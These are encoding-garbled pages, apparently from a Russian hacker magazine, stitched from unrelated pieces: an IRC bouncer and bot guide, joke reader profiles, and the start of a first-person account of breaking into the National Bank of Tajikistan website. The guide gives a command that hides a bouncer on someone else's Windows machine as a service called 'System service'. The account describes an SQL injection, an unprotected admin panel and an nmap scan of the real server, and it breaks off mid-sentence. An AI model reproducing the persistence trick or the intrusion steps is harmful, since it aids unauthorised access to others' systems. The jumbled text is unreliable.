âûáåðåò ñåðâåð, ê êîòîðîìó íåîáõîäèìî ïîäêëþ÷èòü ñâîå èìÿ, ïàðîëü äëÿ àâ-
òîðèçàöèè ó nickserv�à, êàíàëû äëÿ îáùåíèÿ è ò.ä. Ñ÷èòàåøü, ÷òî îí ìîæåò íå
ñïðàâèòüñÿ? Íå áåäà, ñ ïîìîùüþ HTML ìîæíî çàäàòü çíà÷åíèÿ ïîëåé ïî

ÌÀÑÊÈÐÎÂÊÀ ÏÏÎ-ÍÍÀØÅÌÓ
Â òåêñòå ñòàòüè îñòàëñÿ îäèí íåðàñêðûòûé âîïðîñ: êàê çàìàñ-
êèðîâàòü BNC è windrop â ÷óæîé Windows-ñèñòåìå? Ïîíÿòíî,
÷òî îñòàâëÿòü êîíñîëüíîå îêîøêî ñ ðàáîòàþùèì ïðèëîæåíèåì
íåëüçÿ, òàê êàê åãî ñðàçó çàìåòèò ïîëüçîâàòåëü. Ñàìûé ïðîñ-
òîé âûõîä èç ýòîé ñèòóàöèè � çàïóñòèòü ïðèëîæåíèå êàê ñåð-
âèñ, òåì ñàìûì ìû óáüåì ñðàçó äâóõ çàéöåâ. Âî-ïåðâûõ, ïðè-
ëîæåíèå ëåãêî çàòåðÿåòñÿ ñðåäè ìíîãî÷èñëåííûõ ñëóæá âèí-
äû, â êîòîðûõ îáû÷íûé ïîëüçîâàòåëü íèêîãäà íå ñòàíåò êî-
ïàòüñÿ. À âî-âòîðûõ, ñ óìîì îáåñïå÷èì àâòîìàòè÷åñêèé çàïóñê
ïðîãè âî âðåìÿ çàïóñêà ñèñòåìû, íà ñëó÷àé, åñëè êîìïüþòåð
áóäåò ïåðåçàãðóæåí èëè âûêëþ÷åí. Åäèíñòâåííàÿ ïðîáëåìà
çàêëþ÷àåòñÿ â òîì, ÷òî ïî óìîë÷àíèþ âîçìîæíîñòè çàïóñêà
ircproxy è windrop êàê ñåðâèñà íåò, ïîýòîìó íàì ïðèäåòñÿ ïðè-
áåãíóòü ê ïîìîùè ñòîðîííèõ ïðèëîæåíèé. ß ðåêîìåíäóþ èñ-
ïîëüçîâàòü êîíñîëüíóþ óòèëèòó AppToService
(www.basta.com/ProdAppToService.htm). Îòìå÷ó, ÷òî åå ïîñëåä-
íèå âåðñèè ñòàëè ïëàòíûìè, ïîýòîìó ëó÷øå áóäåò íå ìó÷èòüñÿ
ñ ðåãèñòðàöèåé è ñêà÷àòü âàðèàíò ïîñòàðåå
(www.3dnews.ru/documents/1143/AppToService.zip). Åñëè çàïóñ-
òèòü ïðîãðàììó áåç êàêèõ-ëèáî êëþ÷åé, AppToService âûäàñò
êðàòêóþ ñïðàâêó, êîòîðîé âïîëíå äîñòàòî÷íî, ÷òîáû ñîñòàâèòü
êîìàíäó äëÿ çàïóñêà íàøåãî ïðèëîæåíèÿ. Âîò ïðèìåð:
C:\IRCPROXY>apptoservice /Install "IRCPROXY.EXE"
/AbsName:"System service" /Startup :A
Ircproxy áóäåò çàïóùåíà êàê ñåðâèñ ñ èìåíåì System service,
ïðè÷åì ñëåäóþùèé çàïóñê ýòîãî ñåðâèñà áóäåò îñóùåñòâëÿòü-
ñÿ àâòîìàòè÷åñêè.

ÌÎÁÈËÜÍÀß ««ÈÐÈÍÊÀ»
Ñîãëàñèñü, î÷åíü ÷àñòî áûâàþò ñèòóàöèè, êîãäà íóæíî ïðîñòî
óáèòü âðåìÿ. Íó, íàïðèìåð, äåâóøêà îïàçäûâàåò íà âñòðå÷ó, è
òû â ïîëíîì îäèíî÷åñòâå æäåøü åå â êàôå. Îáùåíèå ñ íàðîäîì
IRC � îòëè÷íûé âûõîä èç ñëîæèâøèéñÿ ñèòóàöèè. Äëÿ îáû÷íûõ
ìîáèëüíûõ òåëåôîíîâ, ïîääåðæèâàþùèõ Java è ðàáîòó ñ ñîêå-
òàìè, ñóùåñòâóåò ñðàçó íåñêîëüêî ïîäõîäÿùèõ àïïëåòîâ WLIrc
(http://wirelessirc.sourceforge.net/), jmIrc (http://jmirc.sourceforge.net/),
Virca (www.vidarholen.net/contents/virca/). ß ëè÷íî èñïîëüçóþ ïîñ-
ëåäíèé è ìîãó òî÷íî óòâåðæäàòü, ÷òî îí ïîääåðæèâàåò îäíîâðå-
ìåííóþ ðàáîòó ñ íåñêîëüêèìè êàíàëàìè, ïðîôàéëû äëÿ ñîõðà-
íåíèÿ èìåíè ïîëüçîâàòåëÿ è ïàðîëÿ, ïðîêðóòêó ëîãîâ, è, êîíå÷íî
æå, ðóññêèå êîäèðîâêè. Åñëè ó òåáÿ ñìàðòôîí íà áàçå Windows
Mobile 2003, òî ðåêîìåíäóþ wmIRC (wmirc.com). Îí òàêæå èìååò
ïðîäóìàííûé èíòåðôåéñ è ïîääåðæêó íåñêîëüêèõ êàíàëîâ. java-àïïëåò äëÿ äîñòóïà íà IRC íå òðåáóåò íàñòðîéêè è ðàáîòàåò êàê ÷àñû

ðàáîòà ñ IRC âîçìîæíà ÷åðåç SOCKS-
ñåðâåð, íî ýòî ïî íåêîòîðûì ïðè÷èíàì
íå î÷åíü óäîáíî





óìîë÷àíèþ, â òîì ÷èñëå è
íóæíûé ñåðâåð/êàíàë. Îò
ïîëüçîâàòåëÿ â ýòîì ñëó÷àå
ïîòðåáóåòñÿ ëèøü íàæàòü íà
îäíó êíîïêó «Ñîåäèíèòüñÿ».
Âîîáùå, åñëè ãîâîðèòü íà-
÷èñòîòó, Java è òàëàíò ðàçðà-
áîò÷èêîâ ïîçâîëèëè ñîçäàòü
ïîëíîöåííîãî IRC-êëèåíòà
âíóòðè îêíà áðàóçåðà. Äàæå
DCC-ôóíêöèè ðåàëèçîâàíû,
êàê ó îáû÷íîãî mIRC�à. È ñà-
ìîå ïðèÿòíîå: â îòëè÷èå îò
CGI:IRC, àïïëåò jwirc ïðàêòè-
÷åñêè íå çàãðóæàåò ñåðâåð.

[áîò-ïëàöäàðì] Ñîçäàòü è çàðåãèñòðèðîâàòü ñâîé ñîáñòâåííûé IRC-
êàíàë � íå ïðîáëåìà. Çíà÷èòåëüíî ñëîæíåå óñëåäèòü çà ïîðÿäêîì,
îáåñïå÷èòü àâòîìàòè÷åñêóþ ðàçäà÷ó ñòàòóñîâ, çàùèòèòü êàíàë îò ôëó-
äåðîâ è ëþáèòåëåé DDoS�à. Îáû÷íîìó ÷åëîâåêó ýòî ïîä ñèëó ñ áîëüøè-
ìè îãðàíè÷åíèÿìè, âåäü ïðèñóòñòâîâàòü íà êàíàëå 24 ÷àñà â ñóòêè � íå-
âîçìîæíî ÷èñòî ôèçè÷åñêè. ×òîáû îáëåã÷èòü æèçíü îïåðàòîðàì, áûëè
ðàçðàáîòàíû òàê íàçûâàåìûå áîòû, â çàäà÷è êîòîðûõ âõîäèëî ïîñòîÿí-
íîå ïðèñóòñòâèå íà êàíàëå è àâòîìàòè÷åñêîå âûïîëíåíèå çàïðîãðàììè-
ðîâàííûõ äåéñòâèé. Íî è çäåñü íå îáîøëîñü áåç çàòðóäíåíèé.
Ñàìà íàñòðîéêà áîòà íå òàêàÿ óæ è ñëîæíàÿ. Çíà÷èòåëüíî òðóäíåå íàé-
òè ìåñòî, ãäå ýòîãî áîòà ìîæíî óñòàíîâèòü. Ñäåëàòü ýòî íà ëåãàëüíî
êóïëåííîì øåëëå íå âñåãäà âîçìîæíî. Åñëè ê BNC â ïîñëåäíåå âðåìÿ
îòíîñÿòñÿ äîñòàòî÷íî ëîÿëüíî, òî IRC-áîòû è äåìîíû ïî-ïðåæíåìó çàï-
ðåùåíû ïî÷òè âåçäå. Òàê ÷òî áîòà, âîçìîæíî, ïðèäåòñÿ ïîäíèìàòü íà
ïîðóòàííîé ìàøèíå, äîðîãîñòîÿùåì äåäèêå èëè ëîêàëüíîì êîìïüþòåðå
(íå ñàìûé ëó÷øèé âàðèàíò, íî ïîäîéäåò íà ñëó÷àé íåáîëüøîé íàãðóçêè).
Ïðèçíàííûì ëèäåðîì ñðåäè áîòîâ ÿâëÿåòñÿ eggdrop (www.eggheads.org). Ìû
âîñïîëüçóåìñÿ åãî âåðñèåé ïîä Windows, ñêîìïèëèðîâàííîé ñ ïîìîùüþ
cygwin�à (www.cygwin.com). Åå èìÿ � Windrop (windrop.sourceforge.net). 
Ñ îôèöèàëüíîãî ñàéòà ìîæíî ñòÿíóòü äâå âàðèàöèè: äëÿ IRC ñåòåé, ïîä-
äåðæèâàþùèõ äëèíó íèêà ìàêñèìóì â 9 ñèìâîëîâ (RCNet, EFNet), è äëÿ
òåõ, ó êîãî òàêîãî îãðàíè÷åíèÿ íåò (QuakeNet, DalNet è ò.ä.). Ñîîòâåò-
ñòâåííî, âûáèðàé íóæíóþ, èñõîäÿ èç êîíêðåòíîé ñèòóàöèè, òàê êàê ïî
ôóíêöèîíàëüíîñòè âåðñèè íè÷åì íå îòëè÷àþòñÿ.
Îñíîâíîé êîíôèãóðàöèîííûé ôàéë ó ïðîãðàììû îäèí � eggdrop.conf.
Íî îí ñîäåðæèò íàñòîëüêî ìíîãî îïöèé, ÷òî ïðèâåñòè èõ îïèñàíèå çäåñü
ïðåäñòàâëÿåòñÿ àáñîëþòíî íåâîçìîæíûì. Äà è íå íóæíî, òàê êàê ðàçðà-
áîò÷èêè ñíàáäèëè êîíôèã ïîäðîáíûìè êîììåíòàðèÿìè, ïîýòîìó òû ëåã-
êî ñìîæåøü ðàçîáðàòüñÿ ñ êàæäîé èç îïöèåé ñàì. Íà ñëó÷àé, åñëè ñ àíã-
ëèéñêèì òû íå â ëàäàõ, ðåêîìåíäóþ çàêà÷àòü êîíôèã ñ êîììåíòàìè íà

ðóññêîì ÿçûêå (www.amiga.org.ru/eggdrop/eggdrop_config.txt). Â êîíôèãå
íåñêîëüêî ðàç âñòðå÷àþòñÿ ñòðîêè ñëåäóþùåãî ñîäåðæàíèÿ � die "You
didn't edit your config file completely like you were old, did you?". Åñëè èõ íå
óáðàòü/çàêîììåíòèðîâàòü, òî ïðîãðàììà âûëåòèò ïðè çàïóñêå ñ ñîîòâå-
òñòâóþùåé îøèáêîé. Ïîäîáíûì îáðàçîì ðàçðàáîò÷èêè ïðîâåðÿþò, íàñ-
êîëüêî âíèìàòåëüíî òû ïðî÷èòàë êîììåíòàðèè ê êîíôèãóðàöèîííîìó
ôàéëó. Òàê ÷òî áóäü âíèìàòåëüíåå � íå çàñûïàé.
Ïîñëå òîãî êàê íåîáõîäèìûå ïàðàìåòðû áóäóò îáîçíà÷åíû, ìîæíî ïðèñòó-
ïàòü ê ïåðâîìó çàïóñêó. Äëÿ ýòîãî íàäî ïåðåéòè â ïàïêó ñ ïðîãðàììîé (ïî
óìîë÷àíèþ, c:\windrop) è çàïóñòèòü èñïîëíÿåìûé ôàéë eggdrop.exe ñ ïàðà-
ìåòðîì �m. Åñëè ïðîãà áóäåò ðóãàòüñÿ íà êàêóþ-òî îøèáêó, ðåêîìåíäóþ
îáðàòèòüñÿ ê îôèöèàëüíîìó FAQ�ó windrop�à (windrop.sourceforge.net/win-
dropfaq.html). Â íåì ñîáðàíà îãðîìíàÿ ïîäáîðêà îòâåòîâ ïðàêòè÷åñêè íà
ëþáûå âîïðîñû, à òàêæå ðåêîìåíäàöèè ïî ðåøåíèþ ïðîáëåì.
Åñëè çàïóñê ïðîøåë óñïåøíî, áîò äîëæåí ñîåäèíèòüñÿ ñ çàäàííûì â êîí-
ôèãå IRC-ñåðâåðîì. Íàñòàëî âðåìÿ îôîðìèòü ñâîè ïðàâà íà ñîáñòâåí-
íîñòü. Êàê òîëüêî òû íàïèøåøü áîòó ñëîâî hello (/msg bot_name hello), îí
çàïîìíèò òåáÿ êàê âëàäåëüöà, ïîòðåáóåò óñòàíîâèòü ïàðîëü, êîòîðûé â áó-
äóùåì áóäåò èñïîëüçîâàòüñÿ òîáîé äëÿ èäåíòèôèêàöèè. Óïðàâëåíèå áî-
òîì ìîæåò îñóùåñòâëÿòüñÿ äâóìÿ ñïîñîáàìè. Ïåðâûé èç íèõ � DCC Chat.
Äëÿ èíèöèàëèçàöèè òàêîãî ÷àòà íóæíî â êîìàíäàõ ñåðâåðó íàïèñàòü: /ctcp
<bot_name> CHAT. Áîò ïîëó÷èò çàïðîñ íà ñîåäèíåíèå è òàêæå îòêðîåò
DCC-ñîåäèíåíèå. Äëÿ äàëüíåéøåé ðàáîòû ïðèäåòñÿ ââåñòè èìÿ (òî, êîòî-
ðîå áûëî ó òåáÿ íà ìîìåíò îòïðàâêè áîòó ñîîáùåíèÿ hello), à òàêæå ïà-
ðîëü. Â ñëó÷àå óñïåøíîé àâòîðèçàöèè òû ïîëó÷èøü äîñòóï ê êîìàíäíîé
êîíñîëè áîòà. Èíòåðåñà ðàäè ïîïðîáóé ââåñòè êîìàíäó � .help (âñå êî-
ìàíäû â êîíñîëè áîòà ïèøóòñÿ ÷åðåç «òî÷êó»), è òû ïîëó÷èøü íåáîëüøóþ
ñïðàâêà î âîçìîæíûõ êîìàíäàõ. Åñëè DCC-÷àò ïî êàêèì-òî ñîîáðàæåíè-
ÿì òåáÿ íå óñòðàèâàåò, òî âîçìîæíî óïðàâëåíèå áîòîì ÷åðåç îáû÷íûé tel-
net. Â ôàéëå eggdrop.conf ïî óìîë÷àíèþ ïðîïèñàíà ñòðîêà «listen 3333
all», îáîçíà÷àþùàÿ, ÷òî íà 3333 ïîðòó ðàáîòàåò telnet-ñåðâåð, ïðè÷åì îí
äîñòóïåí êàê îáû÷íûì ïîëüçîâàòåëÿì, òàê è òàêèì æå áîòàì, êàê îí ñàì.
Äëÿ ñîåäèíåíèÿ äîñòàòî÷íî íàáðàòü telnet <IP-áîòà> 3333 è ïðîéòè àâòî-
ðèçàöèþ. Åñëè ñòàíäàðòíûé � 3333-ïîðò çàíÿò èëè áëîêèðóåòñÿ ôàéðâî-
ëîì, íè÷òî íå ìåøàåò òåáå èñïîëüçîâàòü ëþáîå äðóãîå çíà÷åíèå ýòîãî ïà-
ðàìåòðà. Íà ðàáîòå áîòà ýòî íèêîåì îáðàçîì íå îòðàçèòüñÿ.
ß íàìåðåííî íå ãîâîðþ î ôóíêöèîíàëüíîñòè eggdrop�à. Íà âñå ñëó÷àè
æèçíè ñóùåñòâóåò ïîäêëþ÷àåìûå TCL-ñêðèïòû, ñ ïîìîùüþ êîòîðûõ
ìîæíî ðåøèòü äàæå ñàìûå èçîùðåííûå çàäà÷è. Íàèáîëåå ïîëíûì õðà-
íèëèùåì ñêðèïòîâ ÿâëÿåòñÿ ñàéò www.egghelp.org, òàì æå íàõîäÿòñÿ
èíñòðóêöèè è ðåêîìåíäàöèè ïî èõ óñòàíîâêå. Â îáùåì ñëó÷àå äîñòàòî÷-
íî ñêîïèðîâàòü íóæíûé TCL-ôàéë (ñêðèïò) â ïàïêó scripts è â êîíôèã áî-
òà äîáàâèòü ñòðîêó source scripts/<scriptname>.tcl. Óìåëüöû íà áàçå
eggdrop�à è TCL óìóäðèëèñü íàëàäèòü ÷åêàëêè êðåäèòíûõ êàðò, ïîýòîìó
ìîæíî ñ ïîëíîé óâåðåííîñòüþ óòâåðæäàòü, ÷òî òâîé áîò, ïî êðàéíåé ìå-
ðå, ñïðàâèòñÿ ñ àâòîìàòè÷åñêîé ðàçäà÷åé ñòàòóñîâ è áîðüáîé ñ ôëóäå-
ðàìè. À ýòî, â ïðèíöèïå, åãî îñíîâíûå çàäà÷è.

[ãåíåðàòîðû ñòàòèñòèêè] Ðàñêðóòèòü êàíàë, òî åñòü ñäåëàòü åãî ïîïó-
ëÿðíûì, ìîæíî ïî-ðàçíîìó. Äëÿ íà÷àëà íåïëîõî áûëî áû ðàçðåêëàìèðî-
âàòü åãî, ðàçäàâàòü íà êàíàëå ðàçëè÷íûå áîíóñû è ò.ä. Åùå îäíèì õîäîì,
äàþùèì 100% ðåçóëüòàò, ÿâëÿåòñÿ ïîäñ÷åò ðàçëè÷íûõ ñòàòèñòè÷åñêèõ
äàííûõ êàíàëà. Ñïîðòèâíûé èíòåðåñ � ýòî äåéñòâèòåëüíî î÷åíü ìîùíàÿ
øòóêà. Îôîðìè êðàñèâóþ ñòàòèñòèêó ñ ïîäñ÷åòîì ïðîâåäåííîãî ïîñåòèòå-
ëÿìè êàíàëà âðåìåíè, êîëè÷åñòâîì íàïå÷àòàííûõ ñëîâ è áóêâ � è ìîæíî
ñ÷èòàòü, ÷òî äåëî â øëÿïå. Âîò óâèäèøü, ïîëüçîâàòåëè òóò æå íà÷íóò ôëó-
äèòü èçî âñåõ ñèë, ÷òîáû çàáðàòüñÿ íà âåðõíèå ïîçèöèè â ðåéòèíãå.
Ñêðèïò äëÿ ïîäñ÷åòà ñòàòèñòèêè áåç òðóäà ìîæíî ïðèêðóòèòü äëÿ
eggdrop�à, íî ÿ ïðåäïî÷èòàþ äðóãîé âàðèàíò � ñïåöèàëèçèðîâàííûå
àíàëèçàòîðû ëîãîâ. Óòèëèòà Pisg (àááðåâèàòóðà îò Perl IRC Statistics
Generator) ÿâëÿåòñÿ íàèáîëåå ïðîäâèíóòîé â ýòîì ïëàíå. Âñå, ÷òî íóæ-
íî äëÿ ñîñòàâëåíèÿ îò÷åòà, � ýòî ëîãè áîòà èëè IRC-ñåðâåðà, à òàêæå

êîìïüþòåð ñ óñòàíîâëåííûì Perl. Ïàðàìåò-
ðû, êîòîðûå íåîáõîäèìûå äëÿ ñîñòàâëå-
íèÿ, ìîæíî çàäàòü ÷åðåç êîìàíäíóþ ñòðî-
êó, íî ðàçðàáîò÷èêè íàñòîÿòåëüíî ðåêîìåí-
äóþò îôîðìèòü èõ â âèäå XML-êîíôèãà
(pisg.cfg). Â íåì ìîæíî óêàçàòü âñå: íà÷è-
íàÿ îò âíåøíåãî âèäà âûõîäíîãî HTML-äî-
êóìåíòà è çàêàí÷èâàÿ ñëîâàìè, êîòîðûå íå
èñïîëüçóþòñÿ ïðè ïîäñ÷åòå ñòàòèñòèêè.
Îñîáåííî ðàäóåò òî, ÷òî âûõîäíîé ôàéë ñî-
äåðæèò íå òîëüêî ñóõèå öèôðû, íî åùå è
íàãëÿäíûå äèàãðàììû è ãðàôèêè, ÷òî ïðè-
äàåò ñòàòèñòèêå áîëåå íàãëÿäíûé âèä. ×óòü
íå çàáûë: ïðîãó ìîæíî çàêà÷àòü îòñþäà
èëè æå âçÿòü ñ íàøåãî CD/DVD[X
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ProBNC èìååò ãðàôè÷åñêèé èíòåðôåéñ, 
íî íåçàìåòíî óñòàíîâèòü åãî íà óäàëåííîé ìàøèíå íå ïîëó÷èòñÿ

ñîåäèíåíèå ñ áàóíñåðîì óñòàíîâëåíî �
ìîæíî ñîåäèíÿòüñÿ ñ IRC

wmIRC � èäåàëüíûé
êëèåíò äëÿ ñìàðòôîíîâãëàâíûé ìèíóñ CGI:IRC � çàäåðæêè â ðàáîòå ñ IRC-ñåðâåðîì
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×ÅËÎÂÅÊ ÎÎÁÛ×ÍÛÉ
-- ÍÈÊÈÒÀ. 
-- 21 ÃÎÄ. 
-- ÍÅÃËÓÏÛÉ ÏÀÐÅÍÜ. 
-- ÓÂËÅÊÀÅÒÑß ÑÏÎÐÒÎÌ. 
-- ÕÎÐÎØÅÅ ÇÐÅÍÈÅ. 
-- ÍÅ ÈÌÁÈÖÈË.

Ýêñòðèì
ÓÂËÅÊÀÅÒÑß
ÑÍÎÓÁÎÐÄÎÌ.

Ôèòíåñ
3 ×ÀÑÀ ÍÀ ÏÐÎÊÀ×ÊÓ
ÒÅËÀ.

Øìîòêè
ÄÆÈÍÑÛ ÎÒ DIESEL.

_Nikita

Êëóáû
ËÞÁÈÒÅËÜ ÒÅÕÍÎ-
ÂÅ×ÅÐÈÍÎÊ.
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Ìûøöû
ÈÕ ÌÀËÎ. ÄÅÔÈÖÈÒ.

Ñêîëèîç
ÁÅÄÎËÀÃÓ ÑÊÐÓÒÈËÎ
ÇÀ ÊÎÌÏÎÌ.

Ìîçã
ÂÛÆÆÅÍÍÛÉ
ÌÎÍÈÒÎÐÎÌ.

Ëîêòåâàÿ
íåéðîïàòèÿ
ÅËÎÇÈÒ ËÎÊÒßÌÈ 
ÏÎ ÑÒÎËÓ.

Ñïîðò
ÃÎÍßÅÒ Â Q3.

Ïîäðóæêà
WWW.ADULTBOUNCER.COM

Ãåìîððîé
×ÒÎ ÒÛ ÕÎÒÅË? ÆÎÏÀ
ÄÀÂÍÎ ÑÐÎÑËÀÑÜ ÑÎ
ÑÒÓËÎÌ.

Ìîçîëè
ÍÀ ËÀÄÎÍßÕ. 
ÎÒ ÃËÓÏÎÑÒÅÉ.

ÆÅÑÒÎÊÈÉ ÊÊÎÄÅÐ
-- ÀËÅØÀ. 
-- ÏÎËÍÛÉ ÀËÅØÀ. 
-- 25 ËÅÒ.
-- ÑÒÐÀØÍÎ ÑÌÎÒÐÅÒÜ. 
-- ÌÍÎÃÎ ÏÐÎÃÐÀÌÌÈÐÓÅÒ.
-- ÐÅÄÊÎ ÂÛÕÎÄÈÒ ÈÇ ÄÎÌÀ.
-- ÍÀ ÂÈÍÒÅ 40ÃÁ ÏÎÐÍÓÕÈ. 
-- ÍÅ ÃÎÄÅÍ ÄËß ÑËÓÆÁÛ Â ÀÐÌÈÈ.

_Alesha

Çðåíèå
ÕÐÅÍÎÂÎÅ. ÎÁÀ ÃËÀÇÀ
-6. Î×ÊÈ ÍÅÑÚÅÌÍÛÅ.

Øìîòêè
ÏÎÑÌÎÒÐÈ ÍÀ ÍÅÃÎ.
ÎÍÈ ÅÌÓ ÍÅ ÍÓÆÍÛ.



ÁÎËÜØÈÍÑÒÂÎ ËÞÄÅÉ, ÑÒÀËÊÈÂÀßÑÜ Ñ ÑÀÉÒÀÌÈ
ÑÅÐÜÅÇÍÛÕ ÎÐÃÀÍÈÇÀÖÈÉ ÂÐÎÄÅ ÍÀÖÈÎÍÀËÜÍÎ-
ÃÎ ÁÀÍÊÀ, ÌÈÍÈÑÒÅÐÑÒÂÀ ÔÈÍÀÍÑÎÂ, ÏÐÀÂÈÒÅËÜ-
ÑÒÂÀ È ÀÄÌÈÍÈÑÒÐÀÖÈÈ ÏÐÅÇÈÄÅÍÒÀ, ÑÐÀÇÓ ÁÐÎ-
ÑÀÞÒ ÃËÓÏÓÞ ÈÄÅÞ ÏÎËÎÌÀÒÜ ÀÂÒÎÐÈÒÅÒÍÛÉ
ÐÅÑÓÐÑ. ÍÀÈÂÍÛÅ ÐÅÁßÒÀ. ÒÅÁÅ ÎÑÒÀÅÒÑß ÒÎËÜÊÎ
ÐÀÄÎÂÀÒÜÑß: ß ÍÅ ÈÇ ÈÕ ×ÈÑËÀ È ÐÀÑÑÊÀÆÓ ÒÅÁÅ
ÑÅÃÎÄÍß, ÊÀÊ ÌÍÅ ÓÄÀËÎÑÜ ÂÇËÎÌÀÒÜ ÑÀÌÛÅ
ÃËÀÂÍÛÅ ÑÀÉÒÛ ÑÒÐÀÍÛ, ÈÇÂÅÑÒÍÎÉ ÑÂÎÈÌÈ
ÒÐÓÄÎËÞÁÈÂÛÌÈ ÃÀÑÒÀÐÁÀÉÒÅÐÀÌÈ È ÌÈËËÈÀÐÄ-
ÍÛÌÈ ÍÀÐÊÎÏÎÒÎÊÀÌÈ, ÒÅÊÓÙÈÌÈ ×ÅÐÅÇ ÂÛÑÎ-
ÊÈÅ È ÊÐÀÑÈÂÛÅ ÃÎÐÛ ÍÀ ÑÅÂÅÐ | MorpheuS (uin: 371200)

[ïåðâîå çíàêîìñòâî] ß óæå
ñîáðàëñÿ âûõîäèòü â îôôëàéí,
êàê âäðóã îäèí ìîé çíàêîìûé
ïîñòó÷àë â àñþ è ïîïðîñèë ïîñ-
ìîòðåòü íà ñòðàííûé sql-injec-
tion. Ïåðåéäÿ ïî ïðåäîñòàâëåí-
íîìó ëèíêó, ÿ áûñòðî ïðèíÿëñÿ
àíàëèçèðîâàòü ÿâíûé èíæåêò.
Êàçàëîñü, ÿ âñå äåëàë ïðàâèëü-
íî, íî ïî íåïîíÿòíûì ïðè÷èíàì
æåëàåìîãî íå ïîëó÷àë. ß ñîâñåì
óâëåêñÿ èññëåäîâàíèåì áàãà, 
è âäðóã ìîé òîâàðèù ñêàçàë: 
«À çíàåøü, ÷òî òû ñåé÷àñ ëîìà-
åøü? Çàãëÿíè íà èíäåêñ». 
Ïåðåéäÿ íà èíäåêñíóþ ñòðàíèöó,
ÿ ëèöåçðåë ãîðäóþ íàäïèñü: Íà-
öèîíàëüíûé Áàíê Òàäæèêèñòàíà.

[ñâåæèé âçãëÿä] Âåðíóâøèñü
íà ñàéò, áóêâàëüíî ñðàçó æå ÿ çà-
ìåòèë íåïðèãëÿäíóþ êíîïî÷êó ïå-
ðåêëþ÷åíèÿ ÿçûêà: áûëè äîñòóï-
íû ðóññêèé è àíãëèéñêèé. Åñòåñò-
âåííî, ÿ íå îáðàòèë íà íåå âíèìà-
íèå ñ ñàìîãî íà÷àëà, âåäü ñåð-
ôèòü íà ðóññêîì êóäà ïðèâû÷íåå.
ß çàãðóçèë àíãëèéñêóþ âåðñèþ
ñàéòà è çàìåòèë, ÷òî url ñòðàíèöû
ñìåíèëñÿ íà www.nbt.tj/en. Íàâåð-
íîå, ó íèõ ïðîñòî ñîõðàíåíà òî÷-
íàÿ ñòðóêòóðà ñàéòà â ïàïêå /en. Â
êîòîðûé ðàç, ïðîéäÿñü ïî ëèíêàì
àíãëèéñêîé âåðñèè ñàéòà, ÿ óáå-
äèëñÿ, ÷òî ñòðóêòóðà îñòàëàñü
ïðåæíåé. Ñòîï! Ðàç ñòðóêòóðà ñîõ-
ðàíèëàñü, çíà÷èò, äîëæíà ñîõðà-
íèòüñÿ è àäìèíêà. Êàêîâî æå áû-
ëî ìîå óäèâëåíèå, êîãäà, îáðàòèâ-
øèñü ê www.nbt.tj/en/admin, ÿ óâè-
äåë, ÷òî àíãëèéñêàÿ âåðñèÿ àä-
ìèíêè íå áûëà çàïàðîëåíà! ×åì
ýòî îáúÿñíèòü? Òóò ìîæíî òîëüêî
ãàäàòü, òàê êàê  íèêòî íå ïîäîçðå-
âàë, ÷òî åé áóäóò ïîëüçîâàòüñÿ,
âåäü, ñêîðåå âñåãî, ñàéòîì óïðàâ-
ëÿþò ðóññêîÿçû÷íûå ñîòðóäíèêè,
èëè æå ýòî ïðîñòî êðèòè÷åñêèé
íåäî÷åò web-ìàñòåðà. Íî ñåé÷àñ
ýòî íå ãëàâíîå, ñåé÷àñ ÿ âíóòðè.
Èíòåðåñ ñèëüíåå îñòîðîæíîñòè :).

[äóìàåì î çäîðîâüå] Â òîò æå ìîìåíò
ÿ ïåðåïðîâåðèë ñâîþ ïðîêñþ íà àíîíèì-
íîñòü è ñî ñïîêîéíîé äóøîé ïðèíÿëñÿ
àíàëèçèðîâàòü ñàéò äàëüøå.
Ïðîéäÿñü ïî ëèíêàì è ïîñìîòðåâ ñòðóêòó-
ðó ñàéòà, ÿ íè÷åãî èíòåðåñíîãî íå îáíàðó-
æèë. Ñàéò ðàáîòàë íà ñàìîïèñíîì äâèæ-
êå, íèêàêèõ îñîáûõ ñêðèïòîâ òàì íå áûëî,
àêöåíò áûë ñäåëàí èìåííî íà èíôîðìà-
òèâíîñòü ñàéòà. Èç íàéäåííûõ íåäîðàáî-
òîê áûëà ðàçâå ÷òî òà sql-èíúåêöèÿ, êîòî-
ðóþ ìíå ïîêàçàë ïðèÿòåëü, íî ÿ íå ìîã
åå ãðàìîòíî çàþçàòü.
Ïî÷åìó-òî â ãîëîâå ñðàçó ïðîìåëüêíóëà
ìûñëü: «Äà ýòî æå áàíê. Çäåñü íå ìîæåò
áûòü îøèáîê. Óõîäèòü íàäî îòñþäà è çà-
áûòü ïðî âñå». Õîòÿ ïîñòîé, êàê æå ýòî
òàê «íå ìîæåò áûòü îøèáîê», òóò æå â
ñêðèïòå ïðèìèòèâíàÿ èíúåêöèÿ!. Â æèç-
íè íå áûâàåò ñëó÷àéíîñòåé.
ß ñòàë ðàçìûøëÿòü äàëüøå. Ðàç ñàéò
÷àñòî îáíîâëÿåòñÿ è ìîäåðèðóåòñÿ, äó-
ìàë ÿ, çíà÷èò, îáÿçàòåëüíî äîëæíà áûòü
àäìèíêà. Íàäî ïîïðîáîâàòü íàéòè åå.
Îñîáî íå ðàçäóìûâàÿ, ÿ ââåë â àäðåñíóþ
ñòðîêó áðàóçåðà http://admin.bank.ru è òóò
æå ïîëó÷èë ïîùå÷èíó: òàêîãî àäðåñà íå
ñóùåñòâîâàëî. ß òóò æå èñïðàâèë àäðåñ
íà www.nbt.tj/admin è óæå ïðèãîòîâèëñÿ ê
î÷åðåäíîìó îòêàçó, êàê âäðóã óâèäåë
ôîðìó äëÿ ââîäà ëîãèíà è ïàðîëÿ. Íó,
âîò óæå êîå-÷òî. Ïðîâåðêà ñêðèïòà àâòî-
ðèçàöèè íà ðàçëè÷íûå áàãè íè ê ÷åìó íå
ïðèâåëà, âñå áûëî íàïèñàíî íîðìàëüíî.
Ëèáî âñå âðåäîíîñíûå ñèìâîëû æåñòîêî
îòôèëüòðîâûâàëèñü, ëèáî àâòîðèçàöèÿ
áûëà ïðèìèòèâíîé, ïàðîëü áûë æåñòêî
çàøèò â òåëå ñàìîãî ñêðèïòà.
Îò÷àÿâøèñü, ÿ çàïóñòèë nmap, ðåøèâ äëÿ
ñâîåãî ñïîêîéñòâèÿ ïðîñêàíèòü ñåðâåð:
nmap -sV -F www.nbt.tj. Íå íàäåÿñü íà ÷ó-
äî, ÿ óçíàë, ÷òî íà ñåðâåðå îòêðûòû ñòàí-
äàðòíûå 80, 21, 22 è 3306 ïîðòû. Èç ñåðâè-
ñîâ áûëè óñòàíîâëåíû ProFTPD è SSH. 
Ê ìîåìó ñîæàëåíèþ, âåðñèè áûëè ñòàáèëü-
